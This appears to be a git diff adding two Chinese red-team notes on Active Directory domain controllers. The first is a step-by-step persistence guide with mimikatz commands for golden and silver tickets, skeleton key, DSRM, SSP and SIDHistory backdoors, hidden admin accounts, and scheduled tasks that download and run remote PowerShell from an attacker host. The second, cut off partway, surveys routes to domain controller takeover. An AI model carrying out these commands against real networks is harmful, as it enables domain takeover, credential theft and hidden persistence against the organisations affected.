diff --git "a/03-\345\271\262\350\264\247\347\263\273\345\210\227/\345\237\237\346\270\227\351\200\217/\345\237\237\346\216\247\346\235\203\351\231\220\347\273\264\346\214\201.md" "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\345\237\237\346\270\227\351\200\217/\345\237\237\346\216\247\346\235\203\351\231\220\347\273\264\346\214\201.md" new file mode 100755 index 0000000..51351fb --- /dev/null +++ "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\345\237\237\346\270\227\351\200\217/\345\237\237\346\216\247\346\235\203\351\231\220\347\273\264\346\214\201.md" @@ -0,0 +1,618 @@ +当在域控中获取权限以后,通过在域控中进行权限维持,可以持续对目标的控制。对于防守人员来说,通过这些域控维权的checklist也可以更好的保证域控的安全。 + +# 目录 + +- [粘滞键后门](#1-粘滞键后门) +- [注册表后门](#2-注册表后门) +- [计划任务](#3-计划任务) +- [wmi无文件后门](#4-wmi无文件后门) +- [隐藏用户](#5-隐藏用户) +- [DSRM后门](#6-DSRM后门) +- [SSP](#7-SSP) +- [SIDHistory域后门](#8-SIDHistory域后门) +- [HookPasswordChangeNotify](#9-HookPasswordChangeNotify) +- [GoldenTicket/黄金票据](#10-GoldenTicket/黄金票据) +- [SilverTicket/白银票据](#11-SilverTicket/白银票据) +- [SkeletonKey/万能密码](#12-SkeletonKey/万能密码) +- [AdminSDHolder](#13-AdminSDHolder) +- [ACL后门](#14-ACL后门) +- [dump高权限用户的hash](#15-dump高权限用户的hash) + +## 1. 粘滞键后门 + +### 1.1 修改目录下的 sethc + +在 windows/system32 下,直接将 sethc 程序替换成 cmd.exe + +> 如果目标机是 `windows vista` 以上的,即 `windows vista` 以后出的系统,修改 sethc 会提示需要 `trustedinstaller` 权限,`trustedinstaller` 是一个安全机制,即系统的最高权限,权限比 `administrator` 管理员高. + +windows 下的权限主要包括:user,administrator,system,`trustedinstaller`没有`system`高,所以需要修改`sethc`, 需要将其所有者改为改为我们当前管理员用户 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220511010206.png) + +这时可以重命名,也可以直接删除,然后复制 cmd 修改 sethc 即可,然后在锁屏没有密码情况下,可以直接按 5 下 shift 调出 cmd + +### 1.2 修改注册表的映像劫持 + +`通过修改注册表的映像劫持`和`打开其远程桌面`来实现。 + +```powershell +REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" +``` + +> **命令说明**:reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 /v 来指定键名,这个键名 debugger 是固定的,然后通过 /t 来指定类型,即 REG_SZ 字符串类型,最后通过 /d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd。 + +效果如下: + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220511010547.png) + + + +## 2. 注册表后门 + +开启启动项 + +```powershell +\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run +``` + +msf 下的命令: + +```powershell +use exploit/windows/local/persistence +``` + +## 3. 计划任务 + +`schtasks`命令参数如下: + +- /Create 创建新任务。 +- /Delete 删除计划任务。 +- /Query 显示所有计划任务。 +- /Change 更改计划任务属性。 +- /Run 按需运行计划任务。 +- /End 中止当前正在运行的计划任务。 +- /ShowSid 显示与计划的任务名称相应的安全标识符 + +```powershell +# schtasks 命令 +# 每天晚上 03:30 定时执行 +schtasks /create /tn "TimedTask1" /tr C:\Users\Administrator\Desktop\TimedTask\Run.bat /sc DAILY /st 03:30 +# statement A + +# 查询创建的任务 +schtasks /query /tn TimedTask1 /v + +# 立即运行创建的任务 +schtasks /run /tn TimedTask1 + +# 删除任务 +schtasks /delete /tn TimedTask1 +``` + +搭配远程下载如下: + +```powershell +#(X64) - On System Start +schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System + +#(X64) - On User Idle (30mins) +schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30 + +#(X86) - On User Login +schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System + +#(X86) - On System Start +schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System + +#(X86) - On User Idle (30mins) +schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30 + +``` + +## 4.wmi无文件后门 + +`evil3.vbs `-> 恶意VBS脚本。创建事件过滤器,捕获账户成功登陆的事件;创建活动脚本事件消费者,捕获到事件后执行远程脚本pnc.js;绑定过滤器和消费者。 + +然后类似于nc一样的工具进行连接: + +参考项目 : + +https://github.com/SAMOxtan/WMI_Fileless_Backdoor + +https://github.com/SAMOxtan/WMI_Fileless_Backdoor + +## 5. 隐藏用户 + +```powershell +net user test$ 123456Qaq /add +net localgroup administrators test$ /add +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516090451.png) + +主要是创建影子用户的思路:https://blog.csdn.net/weixin_51339377/article/details/124168411 + + +## 6. DSRM后门 + +DSRM(Directory Services Restore Mode) 是 Windows 域环境中域控制器的安全模式启动选项。每个域控制器有一个**本地管理员**账号(也就是 DSRM 账号)。DSRM 的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运 ntdsutil 行命令。 + +在渗透测试中,可以使用 DSRM 账号对域环境进行持久化操作。 + +* 如果域控制器的系统版本为 Windows Server 2008,则需要安装 KB96132 补丁才可以使用指定域账号的密码对 DSRM 的密码进行同步。 +* 在 Windows Server 2008 以后版本的系统中不需要安装此补丁。 +* 如果域控制器的系统版本为 Windows Server 2003,则不能使用该方法进行持久化操作。 + +每个 DC 都有本地管理员(administrator)账号和密码。DSRM 账号可以作为 DC 的本地管理员用户,通过网络连接 DC,进而控制 DC。 + +在 DC 上,DSRM 账号的表现形式是本地的 administrator 用户,也就是说本地 administrator 用户 = DSRM 账号 + +### 修改DSRM密码 + +参考链接:https://blog.csdn.net/weixin_36044132/article/details/119595410 + +微软官方给出的方法: + +```powershell +NTDSUTIL #打开ntdsutil +set DSRM password # :修改DSRM的密码 +reset password on server xxxx # 在当前域控制器上重置DSRM的密码 +# 重复确定两次密码以后就可以了 +# q(第1次):退出DSRM密码设置模式 +# q(第2次):退出ntdsutil +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516142413.png) + +### 设置 DSRM 后门 + +上传`mimikatz`,在`administrator`权限下执行命令 + +```powershell +privilege::debug +lsadump::lsa /patch /name:krbtgt +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516142802.png) + +获取到了`krbtgt `**NTLM Hash** 和 SID + +接下来查看并获取SAM文件中本地管理员的NTML也就是**DSRM的NTLM Hash值** + +```powershell +token::elevate +lsadump::sam +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516142938.png) + +将DSRM账号和krbtgt的NTML HASH同步 + +```powershell +NTDSUTIL +SET DSRM PASSWORD +SYNC FROM DOMAIN account krbtgt +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516143329.png) + + + +我们发现 krbtgt的NTLM和 administrator的 hash成功同步 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516143548.png) + +最后修改一下DSRM的登录方式,DSRM默认有三种方式 + +- 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。 +- 1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。 + +- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。 + +通过以下命名设置方式改为:2 + +以管理员方式运行powershell: + +```powershell +New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516144000.png) + +最后,我们就可以使用本地`administrator` 账号哈希传递攻击域控 + +```powershell +sekurlsa::pth /domain:main /user:test /ntlm:73265a93b877df146cf06d08ffa673e8 +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516144658.png) + +最后可以使用Mimikatz的 scysnc功能远程转储krbtgt的NTML Hash + +```powershell +lsadump::dcsync /domain:main.com /dc:DC /user:krbtgt +``` + +## 7. SSP + +SSP(**Security Support Provider**)是Windows操作系统安全机制的提供者。简单地说,SSP是个`DLL`文件,主要用来实现Windows操作系统的身份认证功能,例如`NTLM`、`Ketberos`,`Negotiare`.`Seure Channe`(Schannel )、`Digest`、`Credental`( CredSSP )。 + +SSPI ( **Security Support Provider Interfce**.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。 + +LSA( **Local Security Authority**),用于身份认证,常见进程为 lsass.exe + +如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是: LSA (`Local Security Authority`)用于身份验证;`lsass.exe `作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到`lsass.exe`进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到`lsass.exe`进程中,就能够获取`lsass.exe`进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。 + +使用 mimilib SSP + +### 7.1通过内存更新留后门(临时) + +由于是针对本机的 LSA 进行 Patch,因此本方法只针对在当前机器上登录的用户起作用 + +```powershell +privilege::debug +misc::memssp +``` + +注销用户之后,可以访问`C:\Windows\System32\mimilsa.log`,会有日志文件 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512001105.png) + +### 7.2 通过注册表更新后门(永久) + +项目[Mimikatz](https://github.com/gentilkiwi/mimikatz/releases)提供了一个DLL文件(mimilib.dll),可以将其放到与LSASS进程(System32)相同的位置,以便为访问受感染主机的任何用户获得纯文本凭据。 + +如下: + +```powershell +reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" +reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" +``` + +> 这里踩了一个坑,当路径已经到达末尾时,后面不要有`\`,否则会进行转义,如下: + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512001445.png) + +但是却找不到 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512001934.png) + +查看了一下注册表,没写进去 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512120929.png) + +去掉`\`之后,就成功写入了。 + +之后重启,访问`c:\windows\system32\kiwissp.log`即可得到 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512122631.png) + +## 8. SIDHistory域后门 + +> 每个用户帐号都有一个关联的安全标识符(简称SID),SID 用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持 AD 迁移,微软设计了 SID History 属性,SID History 允许另一个帐户的访问被有效的克隆到另一个帐户。通过 SID History 可让用户拥有不同身份的权限,在单域中同样有效。 + +查询域内用户 + +```powershell +dsquery user +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512122908.png) + +将工具上传 https://github.com/lucasbiella/admodule + +导入模块,查看用户的`SID History` + +```powershell +Import-Module activedirector +Get-ADUser liukaifeng01 -Properties sidhistory +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512012718.png) + +使用Mimikatz将Administrator的SID添加到所选用户的SID History属性中 + +> 1. 在使用mimikatz注入SID之前需要使用`sid::patch`命令修复NTDS服务,否则无法将高权限的SID注入低权限的用户的SID属性; +> 2. mimikatz在2.1版本之后将`misc::addsid`模块添加到了 +> 3. NTDS:New Technology Directory Service,NT + +```powershell +# mimikatz +privilege::debug +sid::patch //以下命令如果执行失败则使用该命令修复NTDS服务 +sid::add /sam:yyds /new:administrator +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512013009.png) + +这时候再看一下 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512013057.png) + +## 9. HookPasswordChangeNotify + +`Hook PaswordChangeNoify`的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输人的密码明文。 + +在修改域控密码时会进行如下同步操作: + +1. 当修改域控密码时,LSA 首先调用 PasswordFileter 来判断新密码是否符合密码复杂度要求 +2. 如果符合,LSA 接着调用 PasswordChangeNotify 在系统上同步更新密码 + +> 函数 PasswordChangeNotify 存在于 rassfm.dll +> +> rassfm.dll 可理解为 Remote Access Subauthentication dll,只存在于在 Server 系统下,xp、win7、win8 等均不存在 + +特点是: + +1. 不需要重启 +2. 不需要修改注册表 +3. 甚至不需要在系统放置dll + +参考项目: + +https://github.com/clymb3r/PowerShell + +https://github.com/clymb3r/Misc-Windows-Hacking + +## 10. GoldenTicket/黄金票据 + +==黄金票据的目的是:权限变更。== + +假设域内存在一个SID为502的域账号krbtgt。 krbtgt是 KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的`NTLM Hash`或者`AES-256`值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的 Golden Ticket(黄金票据)进行票据传递攻击时,通堂要堂握以下信息: + +1. 完整的域名 +2. 需要伪造的域管理员用户名 +3. 域SID-Krbtgt的NTLM Hash或AES-256 + +| 操作系统 | 角色 | 域名 | 用户名 | +| ------------ | ------ | -------- | ------ | +| Wins2012R2 | DC | main.com | 12451 | +| windows 2008 | Client | main.com | test | + +实现: + +1. 先获得hash 和SID + + ```powershell + lsadump::lsa /patch #专用于在域控制器上导出用户密码或hash + ``` + + ![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512142502.png) + + + + 我们得到krbtgt用户的Hash为:73265a93b877df146cf06d08ffa673e8,域sid为S-1-5-21-2214894582-1205818508-3793940241 + +2. 切换到普通域用户的WEB主机或PC主机,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator): + + ```powershell + # kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi + kerberos::golden /user:administrator /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /krbtgt:73265a93b877df146cf06d08ffa673e8 /ticket:ticket.kirbi + + ``` + + ![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512143909.png) + + 在当前目录下会生成一个`ticket.kirbi` + + ```powershell + kerberos::purge //先清空所有票据 + kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机 + ``` + + 然后查看一下当前的票据内容 + + ```powwershell + kerberos::tgt + ``` + + ![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512144450.png) + + 对比一下之前的操作,当我们想看 DC下的共享目录的时候:拒绝访问 + + ![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512160102.png) + + 更改凭证之后 + + ![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220512160902.png) + +## 11. SilverTicket/白银票据 + +**Silver Ticket**(白银票据) 不同于 Golden Ticket, Silver Ticket的利用过程是**伪造TGS**,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要KDC颁发TGT,且在生成伪造的TGT 的20分钟内,TGS不会对该TGT 的真伪进行校验。 + + + +> 白银票据和黄金票据的区别: +> +> 1. 金票是由krbtgt账号的密码散列值加密的,利用伪造高权限任意服务访回权限的票据,从而获得域控制器权限,而银票是由特定的服务账号来伪造TGS,例如LDAP、 MSSQL、WinRM、 DNS、CIFS 等,范围有限,只能获取有限的权限。 +> 2. 白银票据不经过KDC,因此白银票据日志相对于黄金票据要少,同时白银票据的日志都在目标服务器上,域控上不会有日志,更加隐蔽,但是白银票据的权限就不如黄金票据的权限了 + +和黄金票据不同的是,白银票据的针对性较强,没有金票的普适性,即拿到服务A的口令NTLM值只能伪造高权限的TGS票据,获得服务A的高权限访问,对服务B则完全无效。 + +| 应用服务类型 | 需要的服务 | +| ------------------------------------------- | ----------------- | +| VMI | HOST、RPCSS | +| Powershell Remoting | HOST、HTTP | +| WinRM | HOST、HTTP | +| Scheduled Tasks | HOST | +| Windows File Share (CIFS) | CIFS | +| LDAP operations | LDAP | +| Windows Remote Server Administrations Tools | RPCSS、LDAP、CIFS | + +输入`klist`可以获得 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516084710.png) + +这里很明显看到有两个服务,一个`krbtgt`,一个是`host` + +### 11.1 伪造Host服务权限---创建计划任务 + +```powershell +# mimikatz 操作 +# 这里不要用管理员权限打开 mimikatz,否则会没有host服务 +kerberos::list +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516093121.png) + +接下来获取Hash,并且获取SID + +```powershell +lsadump::lsa /patch +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516140122.png) + +获取了server名称: + +> /domain 域的名称 +> /dis 域的sid +> /service 指定服务类型 +> /ticket(可选) 指定路径保存票据 +> /ptt 直接注入内存 +> /rc4 域控机器ntlm + +```powershell +kerberos::golden /user:test /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /target:dc.main.com /rc4:e72477885554476fbc116b63a21f36e2 /service:host /ptt +``` + +然后就可以创建计划任务: + +```powershell +schtasks /create /S dc.main.com /tn "task1" /RU "system" /sc weekly /tr "c:\windows\system32\calc.exe" +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516134921.png) + + + +## 11.2 伪造CIFS服务权限 + +```powershell +kerberos::golden /user:test /domain:main.com /sid:S-1-5-21-2214894582-1205818508-3793940241 /target:dc.main.com /rc4:e72477885554476fbc116b63a21f36e2 /service:CIFS /ptt +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516140940.png) + + + +同理,获取 HTTP / Wsman服务以后,可以获得目标系统上的`WinRM`和`Powershell`远程管理的权限。 + +在注入ldap服务票据后,可以获得目标系统上LDAP服务的管理权限,进而可以利用dcsync远程导出域控上的hash + +## 12. SkeletonKey/万能密码 + +> Skeleton Key 被安装在 64 位的域控服务器上 支持 Windows Server2003 — Windows Server2012 R2 能够让所有域用户使用同一个万能密码进行登录 现有的所有域用户使用原密码仍能继续登录 重启后失效 + +使用 Skeleton Key 攻击时,NTLM、Kerberos 两种身份验证方法都会被篡改。 例如,在NTLM身份验证期间,已注入 LSASS 进程中的主密码哈希将不会与SAM数据库进行比较,而将与 Skeleton Key 哈希进行比较,因此,身份验证将成功。 + +Kerberos 加密也将降级为不支持 Salt(RC4_HMAC_MD5)的算法,并且从活动目录中检索到的哈希将替换为 Skeleton Key 哈希。 因此,主密码的哈希值将始终在服务器端进行验证,并且两种方法的身份验证都将成功。 + + + +> IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 + +以下是环境: + +| 操作系统 | 角色 | 域名 | 用户名 | +| ------------ | ------ | -------- | ------ | +| Wins2012R2 | DC | main.com | 12451 | +| windows 2008 | Client | main.com | test | + +```powershell +# 添加 +net use \\DC\IPC$ "密码" /user:test\administrator +# 将之前建立的IPC$链接删除 +net use \\dc\ipc$ /del /y +# 查看现有的IPC$链接 +net use +``` + +使用`添加`命令进行 IPC$的添加后,如下: + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220513105716.png) + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220513105743.png) + +此时重启,会发现失效 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220513105938.png) + +在域控下操作: + +```powershell +#mimikatz +privilege::debug +misc::skeleton +``` + +会显示: + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220513110147.png) + +这时候会多一个万能的密码 `mimikatz ` + +我们删除原有的 ipc链接,进行新的建立 + +```powershell +net use \\DC\ipc$ "mimikatz" /user:test\administrator +``` + +但是还是不行 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220513004905.png) + +查了一下其他写法(将user后面的名称改为 域 即可),才可以: + +```powershell +net use \\DC\ipc$ "mimikatz" /user:main\administrator +``` + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220513105146.png) + +## 13. AdminSDHolder + +参考文章:https://blog.csdn.net/qq_36119192/article/details/109047093 + +## 14. ACL后门 + +这是一种基于域内对象 `ACL(Access Control Link`)访问控制链的深度隐藏后门。 + +每个安装了域服务器的都会有两个共享目录,分别是:SYSVOL(C:\Windows\SYSVOL\sysvol)和 它下面的Script两个目录,任何账号都可以访问。 + +**一定程度上说,控制了 `SYSVOL` 目录,就有很大概率控制域网络。** + +一般来说,域策略会强制周期性修改高权限用户的密码,但是对低权限用户来说不一定有这个强制性要求,而且域中往往有很多用户几乎不怎么登录、使用。 + +如果低权限用户具备 `SYSVOL` 目录的修改权限,登录域时,因为权限不高,不会被审计软件发现。现在的防护、监控类软件还没有过多关注目录的ACL,因此这种方式是一种很实用的隐蔽后门方式。 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516151045.png) + +如果说是共享目录的话,我们尝试写入文件, + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516151506.png) + +权限不够,那么我们加入权限 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516151734.png) + +修改之后,成功写入 + +![](https://cdn.jsdelivr.net/gh/h0ld1rs/image/image/20220516152110.png) + +这种后门方式,只是演示了 `ACL` 后门的一种具体形式,因为域中的对象太多,可以操控的 `ACL`对象也很多。可以根据自己的需要,灵活选择目标的ACL作为目标进行修改,埋藏后门。 + +## 15. dump高权限用户的hash + +基于[获取域控的方法](https://github.com/JDArmy/DCSec/blob/main/%E8%8E%B7%E5%8F%96%E5%9F%9F%E6%8E%A7%E6%9D%83%E9%99%90.md),通过dump DNSAdmin、exchange、localgroup中的RDP、BackupOperator组等高权限用户的hash,来对域控进行权限维持。 + + +# 参考文章: + +https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1 + +https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#%E7%9B%AE%E5%BD%95-acl + +https://www.freebuf.com/articles/system/305304.html + diff --git "a/03-\345\271\262\350\264\247\347\263\273\345\210\227/\345\237\237\346\270\227\351\200\217/\350\216\267\345\217\226\345\237\237\346\216\247\346\235\203\351\231\220.md" "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\345\237\237\346\270\227\351\200\217/\350\216\267\345\217\226\345\237\237\346\216\247\346\235\203\351\231\220.md" new file mode 100755 index 0000000..96640bb --- /dev/null +++ "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\345\237\237\346\270\227\351\200\217/\350\216\267\345\217\226\345\237\237\346\216\247\346\235\203\351\231\220.md" @@ -0,0 +1,105 @@ +对于入侵者来说,进入企业后,为了获取最大权限,通常会将目标瞄准在域控上。下面是针对不同的域控环境,列举的几种不同的攻击攻击手法。 + +# 目录 + +- [通过域控相关的漏洞](#一通过域控相关的漏洞) +- [通过域内的中继](#二通过域内的中继) +- [通过抓取域管登陆服务器的hash](#三通过抓取域管登陆服务器的hash) +- [通过运维人员不恰当的密码管理](#四通过运维人员不恰当的密码管理) +- [通过攻击Exchange服务器、DNS服务器、SCCM服务器、WSUS服务器等](#五通过攻击Exchange服务器、DNS服务器、SCCM服务器、WSUS服务器等) +- [通过获取域控制器的localgroup中特权组成员的权限来获取域控权限](#六通过获取域控制器的localgroup中特权组成员的权限来获取域控权限) +- [通过委派来获取域控权限](#七通过委派来获取域控权限) +- [通过域控运维堡垒机](#八通过域控运维堡垒机) +- [通过运维人员的个人主机](#九通过运维人员的个人主机) +- [通过与域控相关的web服务器](#十通过与域控相关的web服务器) +- [通过微软AzureAD](#十一通过微软AzureAD) + +## 一、通过域控相关的漏洞 + +此思路主要针对域控补丁没有打完整,导致能直接进行域提权漏洞攻击。一般出现在一些安全情报偏弱、补丁更新不频繁的中小公司或者大公司的测试环境。主要是通过MS14068、zerologon、nopac等相关漏洞来直接攻击域控,或者在域控的SYSVOL目录中的文件或者组策略文件直接获取域管密码来获取域控权限(KB2962486补丁是对此漏洞的修补,且windows server 2012已经默认修复)。ADCS域提权漏洞(CVE-2022–26923) + +MS14068:https://www.anquanke.com/post/id/172900 + +NoPAC漏洞利用:https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html + +NoPAC漏洞检测:https://www.trustedsec.com/blog/an-attack-path-mapping-approach-to-cves-2021-42287-and-2021-42278/ + +NoPAC检测工具的github地址:https://github.com/knightswd/NoPacScan + +zerologon漏洞相关:https://blog.zsec.uk/zerologon-attacking-defending/ + +GPP漏洞:https://cloud.tencent.com/developer/article/1842866 + +ADCS域提权漏洞:https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4 + +## 二、通过域内的中继 + +此思路主要针对域控中存在强制NTLM认证漏洞的情况(打印机回调函数、petitpotam等相关漏洞,此漏洞也是potato系列提权的核心。之前微软回应不对此漏洞进行修复,但是在今年4月的补丁中,对相关漏洞进行了修复)。去年爆出的petitpotam漏洞中,通过MS-EFSRPC的越权回调,强制域控和CA进行认证,并在其中做ntlm中继,实现对域控权限的获取。 + +ADCS relay:https://pentestlab.blog/2021/09/14/petitpotam-ntlm-relay-to-ad-cs/ + + +## 三、通过抓取域管登陆服务器的hash + +此思路主要是针对系统运维人员没有对域管账户登陆的服务器进行收敛,随意在服务器上使用高权限账户,并不清理服务器上缓存的hash,导致攻击者能直接在其他服务器中获取到高权限账户的hash,从而实现域内提权,获取域控制器权限。该方法主要的攻击思路就是PTH,通过横向移动+密码抓取,不断获取服务器权限,再在服务器中抓取hash,用新的hash继续PTH获取其他服务器权限,直到抓取到高权限hash为止。 + + +## 四、通过运维人员不恰当的密码管理 + +在企业中,为了各个部门之间的知识共享和跨部门进行团队协作,需要将一些系统的帐号密码放在统一平台中,方便各个部门使用,此流程多数是通过公司的wiki平台实现。所以有可能能通过在wiki平台搜索相关密码的方式获取到域控密码。除了这种密码随处存放的问题,运维人员还有可能为了方便密码记忆,在高权限账号中使用弱口令,或者通过其他密码能猜测到高权限密码,从而获取到域控权限。 + +***** + +上面几种方法主要是存在中小公司或者大公司的测试环境等安全能力和安全意识偏弱的目标。在大型企业中,域控能自动化打补丁,无法直接通过1day漏洞直接攻击域控,有经验的运维人员也会对高权限账户登陆的服务器进行收敛,直接攻击域控难度过高,于是将目标改为与域控强相关的系统、人员、账户。下面几种是与域控强相关的攻击目标。 + +## 五、通过攻击Exchange服务器、DNS服务器、SCCM服务器、WSUS服务器等 + +与域控强相关的系统中,最容易想到的就是Exchange服务器。Exchange服务器具有域控的DCSync权限,通过Exchange的RCE控制Exchange后,也可以直接dump域控中域管的hash,实现对域控的控制。如果获取不到Exchange权限,也可以通过Exchange http的NTLM中继到域控实现域内权限提升(PrivExchange,但是目前已经修复)。DNS服务器中的DNS admin用户也能让域控远程加载自定义的dll文件,从而实现对域控的控制。在SCCM和WSUS服务器中,如果获取到域管hash,则可直接登录域控,如果hash无法登录域控,WSUS服务器则可以直接向域控下发恶意补丁来获取域控权限,SCCM服务器则可以向域控下发恶意应用程序来获取权限。 + +PrivExchange原理:https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/ + +PrivExchange的github地址:https://github.com/dirkjanm/PrivExchange + +DNSAdmin到域控:https://adsecurity.org/?p=4064 + +WSUS到域控:https://labs.nettitude.com/blog/introducing-sharpwsus/ + +SCCM到域控:https://labs.nettitude.com/blog/introducing-malsccm/ + + + +## 六、通过获取域控制器的localgroup中特权组成员的权限来获取域控权限 + +企业为了保证域控中的最小权限原则,通常会在域控制器的localgroup中授予一些域用户特殊权限,方便不同人员使用域中的不同能力。比如localgroup中的backup operators组中的成员能对域控进行备份,也就能直接导出域控的SAM数据库,从而获取域管hash。 + +Backup Operators组成员权限到域控权限:https://github.com/mpgn/BackupOperatorToDA + + +## 七、通过委派来获取域控权限 + 